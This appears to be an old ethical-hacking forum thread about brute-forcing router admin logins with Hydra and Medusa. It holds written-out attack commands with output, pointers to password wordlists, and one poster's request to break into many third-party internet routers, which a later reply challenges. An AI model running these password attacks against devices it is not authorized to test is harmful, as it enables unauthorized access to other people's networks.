EH-Net

Ethical Hacking Discussions and Related Certifications => Network Pen Testing => Topic started by: creepinshadow on December 08, 2007, 05:44:56 PM



Title: Hack router Password
Post by: creepinshadow on December 08, 2007, 05:44:56 PM
Hi,
how can i hack a routers password
it's a web form
i get the routers login page when i enter 192.168.1.1
i tried Brutus, but somehow brutus always says timeout.. maybe some1 can help me wid that..

i also included the source code of that page,
i think it uses md5 ecncryption,

i'm not very professional hacker but do my best to keep up.

Please tel me what to do

thx


Title: Re: Hack router Password
Post by: LSOChris on December 08, 2007, 09:18:07 PM
try hydra


Title: Re: Hack router Password
Post by: creepinshadow on December 08, 2007, 09:23:54 PM
well i have no idea how hydra for win works, since there's no gui.
could u give me some sort of tutorial please?


Title: Re: Hack router Password
Post by: LSOChris on December 08, 2007, 11:36:39 PM
hydra:
hydra -l admin -p mypass 192.168.0.1 http-get htp://192.168.0.1
hydra -l admin -p mypass 192.168.0.1 http-head htp://192.168.0.1

medusa
cg@segfault:~/evil/bruteforce/ $ medusa -h 192.168.0.1 -u admin -p mypass -M http

Medusa v1.3 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 192.168.0.1 (1/1) User: admin (1/1) Password: mypass (1/1)
ACCOUNT FOUND: [http] Host: 192.168.0.1 User: admin Password: mypass [SUCCESS]


Title: Re: Hack router Password
Post by: creepinshadow on December 09, 2007, 10:42:39 AM
thanks allot man ;),

how can i replace
"mypass" against a brute force attack?
cause its a web form, and shouldnt it be http-post?


Title: Re: Hack router Password
Post by: LSOChris on December 09, 2007, 01:25:41 PM
you're not even reading the man page are you?

Code:
service   the service to crack.
Supported protocols: telnet ftp pop3[-ntlm]   
imap[-ntlm] smb smbnt
http[s]-{head|get}
http-{get|post}-form
http-proxy cisco  cisco-enable vnc ldap2 ldap3 mssql mysql
oracle-listener postgres nntp socks5   rexec rlogin pcnfs snmp
rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere 
teamspeak sip vmauthd

-->http-{get|post}-form

-P password.lst


Title: Re: Hack router Password
Post by: creepinshadow on December 09, 2007, 01:56:52 PM
so is it:

hydra http-form-post 192.168.1.1:user=^user_name^&pass=^passwd1^&mid=failed

or?

hydra -l admin -p -P http-form-post 192.168.1.1:user=^user_name^&pass=^passwd1^&mid=failed


i dont know how to brute force, do i first have to create a brute force word list? and how?


Title: Re: Hack router Password
Post by: Hack_80 on March 06, 2008, 04:27:17 AM
I tried the same command
hydra -l admin -p mypass xx.xx.xxx.xxx http-get htp://xx.xx.xx.xxx

I am finding the error that
child with pid 2948 terminating,cannot connect

can anyone help what the error indicates




Title: Re: Hack router Password
Post by: Koiso on March 18, 2008, 05:47:14 PM
Hello,
I have a problem with Medusa, it don't discover my password

root@xxx-desktop:/home/who# medusa -h 192.168.2.1 -u admin -p 1234 -M http
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 192.168.2.1 (1/1) User: admin (1/1) Password: 1234 (1/1)

and it stop....


Title: Re: Hack router Password
Post by: LSOChris on March 18, 2008, 06:21:51 PM
does your web server use basic authentication?


Title: Re: Hack router Password
Post by: Koiso on March 19, 2008, 08:31:49 AM
It use wap.

Thanks


Title: Re: Hack router Password
Post by: LSOChris on March 19, 2008, 06:05:04 PM
hmmm windows authentication protocol???



Title: Re: Hack router Password
Post by: Koiso on March 20, 2008, 04:51:03 AM
I'm working under ubuntu.


Title: Re: Hack router Password
Post by: LSOChris on March 20, 2008, 06:37:47 AM
hmm i'll rephrase.  what type of webserver are you running and on what OS?


Title: Re: Hack router Password
Post by: znorc on March 29, 2008, 06:38:16 AM
hmm i'll rephrase.  what type of webserver are you running and on what OS?

I use windows XP, and i am trying to "hack" my router here at home (Zyxel NBG-415N)

I am using the same commands, but ip is 168.192.2.1

and as password to the router, i get "mypass" by using your command, and when i try to login on the router with that, it is incorrect.

heeelp


Title: Re: Hack router Password
Post by: LSOChris on March 29, 2008, 08:53:41 AM
thats because "mypass" is an example password.  if you want to test medusa out you need to pass it YOUR password.


Title: Re: Hack router Password
Post by: LSOChris on March 29, 2008, 10:33:17 PM
try using medusa, its working for me, hydra is not (least on my router at the house)

cg@segfault:~$ medusa -h 192.168.0.1 -p test -u admin -M http
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 192.168.0.1 (1/1) User: admin (1/1) Password: test (1/1)
cg@segfault:~$ medusa -h 192.168.0.1 -p realpass -u admin -M http
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 192.168.0.1 (1/1) User: admin (1/1) Password: realpass (1/1)
ACCOUNT FOUND: [http] Host: 192.168.0.1 User: admin Password: realpass [SUCCESS]


Title: Re: Hack router Password
Post by: Kraxor on April 07, 2008, 12:01:09 PM
What's your router MODEL?


Title: Re: Hack router Password
Post by: LSOChris on April 08, 2008, 05:19:13 PM
some POS dlink


Title: Re: Hack router Password
Post by: nha_ngheo on April 16, 2008, 05:22:28 AM
I use hydra on windows and I have the following message:

C:\hydra>hydra -l admin -p mypass 192.168.45.252 http-get http://192.168.45.252
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2008-04-16 17:18:30
[DATA] 1 tasks, 1 servers, 1 login tries (l:1/p:1), ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for 192.168.45.252 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2008-04-16 17:18:31


C:\hydra>hydra -l admin -p mypass 192.168.45.252 http-get http://192.168.45.252
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2008-04-16 17:18:30
[DATA] 1 tasks, 1 servers, 1 login tries (l:1/p:1), ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for 192.168.45.252 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2008-04-16 17:18:31

I don't understand,no pass I have???


Title: Re: Hack router Password
Post by: Deserted on June 11, 2008, 02:09:21 PM
Hello,

     Sorry for posting on such an old post but, I have a similar issue.
I downloaded, "-=Xploitz=- Master Password Collection," which is about 3.55 GB (uncompressed). It's a massive library of "dictionaries" of all kinds.

It also included "useful tools," such as a Dictionary Maker from 1995 (which I use now). I created a massive dictionary (of every possible character combination 1-10 characters long); Now I have no idea if I am doing the command correct or not.

Here's a quick run-over of my "specs":
Router -- LinkSys BEFSR81
Operating System -- Windows XP: Service Pack 2
Internet Explorer version -- 6.0
Cipher Strength 128-bit (from the "about")

To log into the router you go to 192.168.1.1 (to be 100% clear);
I have HYDRA Win32 5.4, I'm comfortable with using consoles, I grew up on DOS.

The command(s) for HYDRA I use are:
hydra -l admin -P words.txt -e ns -f -o OUTPUT.txt -vV 192.168.1.1 http-get /

Is there anything wrong in there? Or something I should change? Also, is there something I could safely (and legally) test HYDRA on to make sure I'm doing this correctly (like TeamSpeak, X-Fire, MySpace)?


Title: Re: Hack router Password
Post by: Xanthar on July 28, 2011, 02:25:44 PM
can u mail me a link to your dictionaries??? plz


Title: Re: Hack router Password
Post by: hell_razor on July 28, 2011, 03:06:09 PM
Brought back from the dead... ::)  A 1 post wonder from 3 years ago will probably not respond.  Google password dictionaries....rockyou, thelist, etc..


Title: Re: Hack router Password
Post by: tturner on July 28, 2011, 03:36:05 PM
Check out http://www.skullsecurity.org/wiki/index.php/Passwords

The rockyou list especially has worked really well for me.


Title: Re: Hack router Password
Post by: jaikaps on November 08, 2011, 10:13:15 AM
hi everyone
i have many ADSL router ip that change their default password
I cant use bruteforce sotware plz help me in  simple way how use this software on windows Xp to get routers passwords.
like this static router ip: http://46.164.123.198/
skapinta_1boy@yahoo.com


Title: Re: Hack router Password
Post by: tturner on November 08, 2011, 10:19:28 AM
http://routerpwn.com/

Check it out. Good stuff!


Title: Re: Hack router Password
Post by: chrisj on November 08, 2011, 11:56:19 AM
hi everyone
i have many ADSL router ip that change their default password
I cant use bruteforce sotware plz help me in  simple way how use this software on windows Xp to get routers passwords.
like this static router ip: http://46.164.123.198/
skapinta_1boy@yahoo.com


I'm sorry but it sounds to me, from your post, that you came across a list of devices which are internet accessible, and are trying to break into them. Is that correct?